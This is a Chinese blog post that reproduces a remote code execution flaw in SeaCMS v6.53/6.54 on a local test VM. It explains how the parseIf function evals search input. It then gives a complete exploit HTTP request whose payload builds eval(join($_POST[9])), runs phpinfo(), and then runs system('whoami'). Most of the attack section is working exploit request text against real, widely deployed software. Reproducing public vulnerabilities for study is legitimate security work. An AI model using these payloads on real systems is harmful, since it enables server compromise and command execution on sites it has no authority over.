zoukankan      html  css  js  c++  java
  • 海洋cms v6.53 v6.54版本漏洞复现

     海洋cms v6.53 v6.54版本漏洞复现

    参考链接:

    今天发现freebuf上一篇海洋cms的漏洞,来复现一下。

    http://www.freebuf.com/vuls/150042.html

    漏洞原理:

    文章里说的很清楚echoSearchPage函数中的content变量传给了parself函数,跟踪代码,找到./include/main.class.php,可以看到parseIf函数会将content内容eval执行,造成命令执行。

    searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

    通过POC可以看出,通过对参数进行了替换之后,content中已经包含了如下攻击payload:if:eval(join($_POST[9]))

    跟踪代码,找到./include/main.class.php,可以看到parseIf函数会将content内容eval执行,造成命令执行。

    
    

    使用环境:

    win7 64位虚拟机 + phpstudy

    seacms(v6.53).rar      在网盘里面找相应名字

    网上现在最新的是6.55的已经修复了,这留个测试副本。

    具体复现步骤:

    下面是自建的测试网站,建站上用的phpstudy没有任何问题

     

    安装完成界面

    http://192.168.19.130/seacms/install/index.php

    首页

    http://192.168.19.130/seacms/

    后台

    http://192.168.19.130/seacms/admin/login.php?gotopage=%2Fseacms%2Fadmin%2F

    这几个地址可以记录一下

    网上提供的POC

    POST /seacms/search.php HTTP/1.1

    Host: 192.168.19.130

    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

    Accept-Encoding: gzip, deflate

    Content-Type: application/x-www-form-urlencoded

    Content-Length: 12

    Referer: http://192.168.19.130/seacms/search.php

    Cookie: a4207_times=1; PHPSESSID=kdb0jv3umhhso2o37jbtrsk9t4

    Connection: close

    Upgrade-Insecure-Requests: 1

    searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

    执行结果,可见写入9[]的代码被执行

     

    进一步利用,可以执行系统命令,剩下的就不多说了。

    searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("whoami");

     

    好了,收工。

  • 相关阅读:
    【问题记录】ajax dataType属性
    【问题记录】springMVC @Valid使用不生效问题
    Initialization of bean failed; nested exception is java.lang.NoClassDefFoundError: javax/jms/JMSContext
    mysql优化:explain 和 profile
    【问题记录】mysql TIMEDIFF 和 TIMESTAMPDIFF的使用
    初次搭建spring boot 项目(实验楼-学习笔记)
    JqGrid自定义toolbar
    MS SQL SERVER 2008 R2 实例服务启动出现10048错误解决办法
    C#快速导入海量XML数据至SQL Server数据库
    SQL2012之FileTable与C#的联合应用
  • 原文地址:https://www.cnblogs.com/zhaijiahui/p/7648350.html
Copyright © 2011-2022 走看看